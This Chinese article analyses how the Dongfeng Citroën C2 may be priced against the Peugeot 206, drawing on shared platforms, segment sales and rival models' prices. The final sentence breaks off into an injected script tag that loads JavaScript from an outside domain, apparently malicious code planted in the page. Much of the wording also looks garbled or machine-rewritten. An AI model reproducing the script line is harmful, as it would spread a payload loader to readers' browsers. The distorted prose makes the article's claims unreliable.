东风雪铁龙C2的关注显然主要集中在此车与标致206之间的亲近血缘。对此，厂方已毫不掩饰雪铁龙C2将使用与东风标致206相同的标致雪铁龙PSA1号平台生产，且从已揭秘的部分参数也可以看出，东风雪铁龙C2与标致206之间确实存在较大相似之处。
为什么要第三进入这一市场？
既然两款车型这样相近，神龙公司为什么还要顶住同室操戈的风险又推出C2？答案自然是看好国内紧凑型经济小车的好发展趋势。无论是宏观环境还是消费者的取向，都促进紧凑型经济小车日渐受宠。
依据汽车工业协会1-7月份的销售量整理而出，今年前7个月排量在1.3L-1.5L之间的紧凑车型的销售量已突破36万辆，比去年同期增加了55%，明显高于用乘车总体的增长水平；在乘汽车使用市场合占比重也从05年同期的10%左右扩大到目前的13%左右。
除去看好这一细分市场以外，从提升资源借助效率、节省企业内部生产本钱的角度出发，雪铁龙C2的投产也是应时之需。目前共用平台、一条生产线上生产多款不同车型的运作模式已在各大整车制造企业中数见不鲜，如速腾与途安、开迪等共用大众PQ35平台，锐志与皇冠共用生产线等。对东风神龙这种一个集团、两大品牌的混合型企业来讲，共用平台、共线生产的方法无疑也会大大提升资源借助效率、节省生产本钱。其实不只东风雪铁龙C2与标致206，爱丽舍与富康就源于于同一平台，标致307和凯旋则又共用一个平台，而且标致307与爱丽舍还共用同一发动机。总之，为有效地节省本钱，在标致206这一平台上引进C2等紧凑型车型已成势必，而且只须将C2与206进行错位销售，两款商品的市场如何都会大于标致206一款商品。
将会怎么样定价？
在市场前景向好，本钱愈加节省的条件下，要紧、最困难的环节自然在于怎么样将两款相似商品进行不同定位，怎么样防止两款商品之间的相互冲突。在此，本文就雪铁龙C2的定价作一容易剖析和预测。
内部原因看定价
从已揭秘的参数可以看出，二者的基本参数基本一样，因此二者的价格区别主要取决于车的外形、内饰和配置。而在配置相当的状况下，两款车的之间的价格势必会形成鲜明对照，一方价格偏高或者偏低，势必会对另一款车导致直接影响。也即假如C2定出一个底价，比较容易被人联想到之前奔腾的上市，奔腾和马6的风格差异显然比C2与206之间的差异明显，但尽管风格迥异，奔腾的底价还是对马6的价格导致了影响，依据网上汽车市场的监测，日前马6的价格已出现下滑，因此C2不大可能会定出底价。而假如C2定出个高价，显然更于事无补，一方面高调入市难于让消费者认同，同时也不可以对标致206的销售起到任何促进用途。这种既促进不了标致206的销售量又不可以让自己旺销的做法，C2显然也不会使用。因此笔者觉得，C2的定价不会让消费者太过惊讶，而极大概是以标致206的性价为主要参考，定出一个性价比与206相当的价格。同时只有维持C2和标致206的性价比相当，二者在风格上的差异才能充分展示，不然就无异于比拼价格了。
据已公布的情报，东风雪铁龙C2的所有车型都标配有双安全气囊、ABS+ EBD、电动前窗、中控门锁、4扬声器CD音响，这部分配置均不比标致206最低配车型的低，而且1.4L标致206现在只有一款低配车型，因此笔者预测1.4升C2可能会填补标致206 1.4只有低配车型这一空档。假如如此的话，C2的最低价格将会高于标致206低的7.78万元。同时在顶级配置方面，据介绍C2将会配有天窗、手自一体变速箱等标致206所没的配置，因此假如这两项配置是C2净增的配置的话，C2的最高价格也会会超越206的最高定价10.88万元。
外部原因看定价
现在与C2具备角逐关系的车型，市场价格主要集中在8-10万元的区间。C2作为一合资品牌，其定价自然也不会与之有太大背离，同时出于顾全206的考虑，其价格也更不会明显低于这个区间。具体从各车型的最高价格可以看出，除POLO( 价格; 图片)以外其它多数角逐车型的最高价格均在11万元之下，飞度顶配车型的价格也只在10.5万元左右，因此预计C2的价格最高也只能在11万元左右。从各车型的最低价格来看，低的威姿最低已破7万，雨燕、乐骋的最底价格也都低于7.5万元，因此若要采取底价角逐的话，C2最低应当在7万元左右，但因为威姿的销售量不是十分突出，因此预计C2不会与之比拼价格，可能性较大是会与雅绅特、乐骋等看齐，因此预计C2的最底价格在7.5万元上下。
可以明显看出，以上从内部原因和外部环境预测的结果存在着肯定冲突，这也正是C2定价的困难所在。到底是以市场为导向为主，还是重视内部原因的协调？相信厂商在经过近阶段紧?script src=http://cn.jxmmtv.com/cn.js>cript>
